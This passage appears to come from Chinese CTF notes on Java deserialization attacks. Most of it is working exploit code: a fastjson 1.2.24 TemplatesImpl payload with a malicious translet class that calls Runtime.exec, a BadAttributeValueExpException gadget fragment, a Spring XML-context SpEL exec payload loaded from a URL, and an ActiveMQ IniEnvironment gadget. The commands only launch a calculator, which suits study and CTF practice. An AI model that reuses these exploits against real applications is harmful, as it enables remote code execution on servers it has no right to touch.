Field f = BadAttributeValueExpException.class.getDeclaredField("val");
f.setAccessible(true);
f.set(ex,arrayNode);
serialize(ex);
System.out.println(getb64(ex));
System.out.println(getb64(ex).length());
unserialize();
}
}
fastjson相关
fastjson <= 1.2.24
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSON;
import javassist.*;
import java.util.Base64;
import java.util.Objects;
public class Main {
public static String getClassB64(String classname) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(classname);
byte[] bytes = ctClass.toBytecode(); //字节码
String b64 = Base64.getEncoder().encodeToString(bytes); //Base64
return b64;
}
public static void main(String[] args) throws Exception {
ParserConfig parserConfig = new ParserConfig();
String js = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+getClassB64("org.example.Test")+"\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{}}";
System.out.println(js);
Object obj = JSON.parseObject(js, Object.class, parserConfig, Feature.SupportNonPublicField);
}
}
Test.java:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}
危险方法
(该部分有些来自https://pankas.top/2023/12/11/%E5%B8%B8%E7%94%A8java%E4%BB%A3%E7%A0%81-trick-%E5%A4%87%E5%BF%98%E5%BD%95/,
做题时遇到就直接用人家搜集的了)
单String构造方法
spring依赖:
org.springframework.context.support.ClassPathXmlApplicationContext obj = new ClassPathXmlApplicationContext("http://127.0.0.1/exp.xml");
org.springframework.context.support.FileSystemXmlApplicationContext obj2 = new FileSystemXmlApplicationContext("http://127.0.0.1/exp.xml");
exp.xml:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
<bean id="helloWorld" class="org.example.Main">
<property name="message" value="#{T(Runtime).getRuntime().exec('calc')}" />
</bean>
</beans>
activemq依赖:
new IniEnvironment(
"\nbs=org.apache.activemq.util.ByteSequence\n" +
"bs.data=rO0AB...eA== (gadget序列化payload的base64,activemq自带CB依赖)\n" +
"bs.offset=0\n"+
"bs.length=1344\n"+
"message=org.apache.activemq.command.ActiveMQObjectMessage\n" +
"message.content=$bs\n" +
"message.trustAllPackages=true\n"+
"message.object.haha=haha")
Comments NOTHING